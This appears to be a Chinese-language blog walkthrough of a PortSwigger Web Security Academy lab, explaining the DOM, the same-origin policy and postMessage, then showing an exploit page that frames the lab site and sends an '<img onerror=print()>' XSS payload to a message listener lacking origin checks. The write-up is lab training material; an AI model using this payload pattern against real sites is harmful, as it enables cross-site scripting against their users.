DOM型漏洞与postMessage安全:从PortSwigger实验看客户端XSS攻击

5 阅读3分钟

Hi everyone! Today we’ll solve the first DOM-based vulnerabilities lab from the PortSwigger Web Security Academy. Let’s get started!

什么是 DOM?

如果你之前没听说过 DOM(文档对象模型),它本质上就是你在浏览器开发者工具的“元素”标签页中看到的、实时的、结构化的网页表示形式。

当浏览器加载一个网站时,它首先会发起一个 GET 请求来获取初始的 HTML 文档。你可以通过按 CTRL+U 或右键单击并选择“查看页面源代码”来查看这个原始 HTML。然而,这个源代码通常与你看到的 DOM 并不相同。造成这种差异的原因就是 DOM 操作,而这通常是由 JavaScript 执行的。

我们以一个 React 应用为例。初始的 HTML 源代码可能如下所示:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="/assets/index-xxxx.css">
    <title>React Build Example</title>
</head>
<body>
    <div id="root"></div>
    <script type="module" src="/assets/index-xxxx.js"></script>
</body>
</html>

如你所见,<body> 中只包含一个空的 <div>。但在你浏览页面时,却能看到一个带有导航栏、卡片和其他元素的完整交互式网站。这是因为 JavaScript 文件 (/assets/index-xxxx.js) 在浏览器中运行,并在客户端动态地添加、删除和修改 DOM 中的元素。DOM 是页面的“活”版本,而页面源代码则是初始蓝图。

什么是 postMessage?

Web 消息传递,通常通过 window.postMessage() 方法,允许来自不同源的脚本之间进行安全通信。

通常情况下,浏览器的同源策略会阻止 a.com 上的脚本访问 b.com 上的数据或与 b.com 上的 DOM 进行交互。这是一个关键的安全特性,用于隔离不同网站。虽然同源策略常与 CORS 混淆,但 CORS 专门管理跨域的 HTTP 请求,而同源策略则是限制不同源之间脚本交互的更广泛策略。

postMessage API 为同源策略提供了一个受控的例外,允许窗口或 iframe 之间进行安全的跨源通信。以下是其工作原理的简单示例:

父页面 (a.com):

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>a.com - Parent</title>
</head>
<body>
    <h1>a.com Parent Page</h1>
    <iframe id="myIframe" src="http://b.com/iframe.html" width="400" height="200"></iframe>
    <button id="sendBtn">Send Message to b.com</button>

    <script>
        const iframe = document.getElementById('myIframe');

        // 发送消息到 b.com 的 iframe
        document.getElementById('sendBtn').addEventListener('click', () => {
            iframe.contentWindow.postMessage({ greeting: "Hello from a.com!" }, "http://b.com");
        });

        // 监听来自 b.com 的消息
        window.addEventListener('message', (event) => {
            if (event.origin !== "http://b.com") return; // 安全检查
            console.log("Received from b.com:", event.data);
        });
    </script>
</body>
</html>

当页面的消息事件监听器在处理传入数据之前,未能正确验证消息的 origin 时,就会出现漏洞。

实验描述

实验描述提到它使用了 web 消息传递。让我们检查页面的 JavaScript 代码,看看它是如何实现的。

在网站代码中,我们可以看到为消息添加了一个事件监听器。它从消息中获取数据,并使用 innerHTML 直接将其写入 ads div 中。关键在于,代码未对接收到的消息执行任何来源检查。这意味着任何网站都可以向该页面发送消息,并且其内容将被直接渲染到 DOM 中,从而产生明显的 DOM XSS 漏洞。

PortSwigger 提供了一个攻击服务器来托管我们的恶意 HTML。以下是我构造的 payload。只需将 <YOUR-LAB-ID> 替换为你的实验唯一标识符,保存它,然后查看漏洞利用效果。

<!DOCTYPE html>
<html>
<head>
    <title>Exploit Page</title>
</head>
<body>
    <iframe src="https://<YOUR-LAB-ID>.web-security-academy.net/"></iframe>
    <script>
        // 当 iframe 加载完成后...
        window.onload = function() {
            // ...向其发送一条恶意消息
            const iframe = document.querySelector('iframe');
            iframe.contentWindow.postMessage('<img src=1 onerror=print()>', 'https://<YOUR-LAB-ID>.web-security-academy.net');
        };
    </script>
</body>
</html>

当你点击“查看漏洞利用”时,iframe 将加载存在漏洞的实验页面。你的脚本随后会发送一条包含 XSS payload 的 postMessage 消息。实验页面上存在漏洞的监听器将处理此消息而不检查其来源,并将 payload 写入其 DOM 中,从而触发 print() 函数。

一旦你确认漏洞利用成功,只需点击“将漏洞利用发送给受害者”即可完成实验。 CSD0tFqvECLokhw9aBeRqpNzLTXFlojmzFn6OlyTg9WKci4H6MsXxMTMLM4+xPZvI+gqEUVxuK1rcu6o5ylrLaSeiz9GcwFXyEf/EUaw11eEs5GSpkvLYUtyXVmnDlKLOm9FxM5O/SJH8zMAnBLlf7yAqDM/mNfkDd0OH782CTc=